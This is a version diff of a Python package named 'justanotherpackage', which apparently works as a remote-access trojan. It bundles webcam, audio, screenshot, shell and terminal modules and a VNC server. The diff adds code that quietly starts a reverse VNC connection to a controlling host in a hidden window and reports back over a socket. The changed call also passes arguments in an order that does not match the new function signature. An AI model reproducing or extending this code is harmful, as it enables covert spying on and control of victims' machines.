justanotherpackage 0.2.2__py3-none-any.whl → 0.2.3__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -96,7 +96,7 @@ def start_connection(HOST, PORT):
96
96
  thread.start()
97
97
 
98
98
  elif data.get("remote_desktop") is not None and data.get("port") is not None:
99
- thread = threading.Thread(target=start_remote_desktop, args=(data, client_socket,))
99
+ thread = threading.Thread(target=start_remote_desktop, args=(data, HOST, client_socket,))
100
100
  thread.daemon = True
101
101
  thread.start()
102
102
 
@@ -14,7 +14,7 @@ def find_process_by_exe(file_name):
14
14
  continue
15
15
  return None
16
16
 
17
- def start_remote_desktop(data, client_socket):
17
+ def start_remote_desktop(HOST, data, client_socket):
18
18
  try:
19
19
  port = data["port"]
20
20
  remote_pid = find_process_by_exe("winvnc.exe")
@@ -33,8 +33,13 @@ def start_remote_desktop(data, client_socket):
33
33
  remote_pid = find_process_by_exe("winvnc.exe")
34
34
 
35
35
  if remote_pid:
36
- command = [program_path, "-connect", port]
36
+ command = [program_path, "-connect", f"{HOST}:{port}"]
37
37
  subprocess.Popen(command, text=True, creationflags=subprocess.CREATE_NO_WINDOW)
38
+ message = f"From Remote: Remote Desktop Started"
39
+ client_socket.sendall(json.dumps({"logger": message}).encode())
38
40
 
39
41
  except (ConnectionError, ConnectionResetError):
40
- pass
42
+ pass
43
+ except Exception as e:
44
+ message = f"From Remote: {str(e)}"
45
+ client_socket.sendall(json.dumps({"logger": message}).encode())
@@ -1,5 +1,5 @@
1
1
  Metadata-Version: 2.2
2
2
  Name: justanotherpackage
3
- Version: 0.2.2
3
+ Version: 0.2.3
4
4
  Requires-Python: >=3.6
5
5
  Dynamic: requires-python
@@ -1,10 +1,10 @@
1
1
  justanotherpackage/__init__.py,sha256=r0rWIFMfaD0Y2XGViT_OZXY4dIk155FtyS0zsWVW7FE,37
2
2
  justanotherpackage/account_type.py,sha256=YH4zvnWs4EmFXjeMGuyNtMf86PeQgY2U22yt2V8TIAo,224
3
- justanotherpackage/connect.py,sha256=CNomVOcdgxHGGDCL8sFMoV4TOACehDPBemLifvrkyLM,4031
3
+ justanotherpackage/connect.py,sha256=uEZGlYNDqt-kFTdzVVBGUi6uMy9ClN8pdd5WGVXIFlA,4037
4
4
  justanotherpackage/shell.py,sha256=LKTdIlJfjL--2ngOsnU3ggDKQCVMdNi2QrCUH4oztR4,845
5
5
  justanotherpackage/features/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
6
6
  justanotherpackage/features/audio.py,sha256=9dhyGGNhlWaiYbgEK1c19mckqDYyKwLKALTLMhQpQSg,1033
7
- justanotherpackage/features/remote_desktop.py,sha256=ttgLt_zfodVCxRALWXfjcUWEjGGLuVXpz2jj9aGQzm4,1247
7
+ justanotherpackage/features/remote_desktop.py,sha256=gfaqTAI79aISz8oGmgqmlXQs2Q6IvwwN4ppykioQ4fQ,1549
8
8
  justanotherpackage/features/screenshot.py,sha256=FcusDnKBADNFenEp47aJ9ZGYDI8gaq_V9jl4kXeSTDo,941
9
9
  justanotherpackage/features/terminal.py,sha256=_6II5j_1Y46DuYfcbA4pFiLpNn7BcGBpse2sf-R8XtA,852
10
10
  justanotherpackage/features/webcam.py,sha256=QUP1ull7G7sroSwi6gebekm5osMT_c54ZSYYFc7Nuv8,1438
@@ -17,7 +17,7 @@ justanotherpackage/vnc/winvnc.exe,sha256=P7OO77jbTVK-Qo-syKJCmXqyrVio0ImAp2iMm_C
17
17
  justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.dll,sha256=_52Pf8LD9dCvr2926H1B_uq_VPrL4m3FlmGniDDzKXI,47744
18
18
  justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.inf,sha256=9hXCZOGgSloYxiwIyruevo922WSwShERafdskDbyYN0,3890
19
19
  justanotherpackage/vnc/UVncVirtualDisplay/uvncvirtualdisplay.cat,sha256=EQXgWZOrTqjv1kdf_rggkbphOH4tT1Ma5cYJfpv1MNM,8560
20
- justanotherpackage-0.2.2.dist-info/METADATA,sha256=Dgh1q-BAMJoL8YuviMkCYT321iUGSvXLKIQP84zDz6E,115
21
- justanotherpackage-0.2.2.dist-info/WHEEL,sha256=In9FTNxeP60KnTkGw7wk6mJPYd_dQSjEZmXdBdMCI-8,91
22
- justanotherpackage-0.2.2.dist-info/top_level.txt,sha256=TYPvm7Vn_5xwf6F2gJkqghqm656FdzsEtV8d4p9I47g,19
23
- justanotherpackage-0.2.2.dist-info/RECORD,,
20
+ justanotherpackage-0.2.3.dist-info/METADATA,sha256=VqwTwgxZjupSGunt2AxP5mzbVsFAWEh_5K3Smg0e0fk,115
21
+ justanotherpackage-0.2.3.dist-info/WHEEL,sha256=In9FTNxeP60KnTkGw7wk6mJPYd_dQSjEZmXdBdMCI-8,91
22
+ justanotherpackage-0.2.3.dist-info/top_level.txt,sha256=TYPvm7Vn_5xwf6F2gJkqghqm656FdzsEtV8d4p9I47g,19
23
+ justanotherpackage-0.2.3.dist-info/RECORD,,